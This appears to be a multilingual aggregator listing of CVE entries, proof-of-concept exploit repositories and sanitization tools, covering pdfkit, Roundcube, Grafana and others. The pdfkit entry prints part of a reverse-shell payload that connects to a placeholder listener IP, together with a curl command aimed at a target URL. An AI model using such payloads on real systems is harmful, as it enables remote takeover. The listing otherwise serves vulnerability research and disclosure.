CVE-2021-38817-Remote-OS-Command-Injection

CVE-2021-38817-Remote-OS-Command-Injection Аутентифицированная удалённая инъекция команд ОС / удалённое выполнение кода в веб-части Sendmail TastyIgniter v3.0.7 CVE-2021-38817 Уязвимость аутентифицированной удалённой инъекции команд ОС существует в меню конфигурации Sendmail веб-приложения...

golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via HTML parsing bypass

A flaw was found in golang.org/x/net/html. When arbitrary HTML is parsed and then rendered, it can result in an unexpected HTML tree. This allows an attacker to bypass HTML sanitization mechanisms, leading to Cross-Site Scripting XSS attacks in applications. Such attacks can result in information...

golang.org/x/net/html: golang.org/x/net/html: Arbitrary code execution via Cross-Site Scripting

A flaw was found in golang.org/x/net/html. A remote attacker could exploit this vulnerability by providing specially crafted HTML. When this arbitrary HTML is parsed and rendered, it can result in an unexpected HTML tree, bypassing input sanitization. This can be leveraged to execute Cross-Site...

CVE-2020-8825

CVE-2020-8825 نشر: CVE-2020-8825 البائع: root@kitploit: PHP VanillaForum الوصف: root@kitploit: توجد الثغرة بسبب عدم كفاية تعقيم البيانات المقدمة من المستخدم التي تمر إلى عنوان URL "index.php?p=/dashboard/settings/branding". يمكن لمهاجم عن بعد حقن وتنفيذ كود HTML وscript تعسفي بشكل دائم في متصفح...

dangerzone

Dangerzone Take potentially dangerous PDFs, office documents, or images and convert them to a safe PDF. خذ مستندات PDF أو مستندات مكتبية أو صورًا قد تكون خطرة وحوّلها إلى PDF آمن. | ---|--- تعمل Dangerzone على النحو التالي: أنت تُعطيها مستندًا لا تعرف ما إذا كان يمكنك الوثوق به مثل مرفق بريد...

PDFkit-CMD-Injection

PDFkit-Внедрение-команд CVE-2022-25765 pdfkit 0.8.6 внедрение команд. Пакет pdfkit уязвим для внедрения команд, поскольку URL-адрес не подвергается должной санитизации. Примечание: Эта проблема была исправлена в версии 0.8.7.2, но исправление оказалось неэффективным. Обновлённая версия исправлени...

CVE-2024-42009

CVE-2024-42009 – Roundcube Stored XSS Docker PoC 📌 Overview This repository demonstrates a working Proof-of-Concept PoC for CVE-2024-42009 , a stored Cross-Site Scripting XSS vulnerability in Roundcube Webmail. The vulnerability is caused by improper HTML sanitization followed by unsafe attribute...

CVE-2024-21534

CVE-2024-21534: Vulnérabilité d'exécution de code à distance dans jsonpath-plus =10.0.7 Résumé Ce dépôt contient un exploit de preuve de concept PoC pour une vulnérabilité critique d'exécution de code à distance RCE dans le package jsonpath-plus, affectant les versions antérieures à 10.0.7. Le...

CVE-2026-22849

CVE-2026-22849 : Saleor ne dispose pas d'un assainissement HTML adéquat dans les champs de texte enrichi Aperçu...

CVE-2025-61638

CVE-2025-61638 node . "https://www.mediawiki.org/w/api.php" تم الإصلاح يمكن العثور على المزيد من الأهداف القابلة للهجوم من https://www.mediawiki.org/wiki/SitesusingMediaWiki. https://phabricator.wikimedia.org/T401099 https://vulners.com/cve/CVE-2025-61638 يتطلب هجوم XSS تحرير الإدخالات، وبالتالي...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Эксплойт-Обратная-оболочка pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Через CURL измените значения жирным шрифтом: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

EUVD-2026-65616

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

CVE-2024-9264-RCE-Exploit

CVE-2024-9264-RCE-Exploit في Grafana عبر SQL Expressions الوصف إثبات المفهوم لتنفيذ التعليمات البرمجية عن بُعد في Grafana CVE-2024-9264 يحتوي هذا المستودع على سكربت بلغة Python يستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE في ميزة تعبيرات SQL الخاصة بـ Grafana. من خلال استغلال ضعف تعقيم المدخلا...

CVE-2025-28074

CVE-2025-28074 Descripción sugerida phpList anterior a 3.6.3 es vulnerable a Cross-Site Scripting XSS debido a una sanitización incorrecta de entrada en lt.php. La vulnerabilidad es explotable cuando la aplicación referencia dinámicamente rutas internas y procesa entrada no confiable sin escape,...

CVE-2026-79780

rclone before v1.75.0 contains a credential exposure vulnerability in its S3 redirect callback handling. The tool fails to sanitize IBM IAM bearer tokens and SSE-C encryption keys when following redirects, allowing credentials to persist across scheme or host changes . An attacker positioned to o...

morty

Morty وكيل تعقيم محتوى الويب كخدمة يقوم مورتِي بإعادة كتابة صفحات الويب لاستبعاد علامات HTML والخصائص الضارة. كما يستبدل المراجع الخارجية للموارد لمنع تسرب المعلومات من طرف ثالث. الهدف الرئيسي لمورتِي هو توفير وكيل نتائج لـ searx، ولكن يمكن استخدامه أيضًا كخدمة تعقيم مستقلة. الميزات: تعقيم HTML...

morty

Morty Web content sanitizer proxy as a service Morty rewrites web pages to exclude malicious HTML tags and attributes. It also replaces external resource references to prevent third party information leaks. The main goal of morty is to provide a result proxy for searx, but it can be used as a...

CVE-2025-67887

🛡️ إصلاح لـ"ثغرة" CVE-2025-67887/86 في وحدة Translate في 1C-Bitrix أمن 1C-Bitrix يُعلم مركز أمن المعلومات ومراقبة الحوادث في شركة «1C-Bitrix» ظهرت معلومات في قنوات Telegram عن وجود ثغرة في وحدة "الترجمة" يُزعم أنها تسمح بتحميل الأرشيفات بشكل غير مصرح به دون فحص أمني. لقد أجرينا فحوصات سريعة ولا...

SafeText

SafeText Outil pour assainir le texte afin de permettre une distribution sécurisée de documents provenant de sources anonymes en supprimant les caractères de largeur nulle et les homoglyphes. Les personnes tentant de divulguer un e-mail ou un autre fichier texte risquent d'être identifiées par...

CVE-2024-41453_CVE-2024-41454

CVE-2024-41453 CVE-2024-41454 Уязвимости ProcessMaker только в образовательных целях: @ryancooley @velkymx @nolanpro @caleeli установите Docker-экземпляр ProcessMaker 4 Core из этого репозитория: https://github.com/ProcessMaker/pm4core-docker это последняя версия pm docker PMVERSION=4.1.21, на...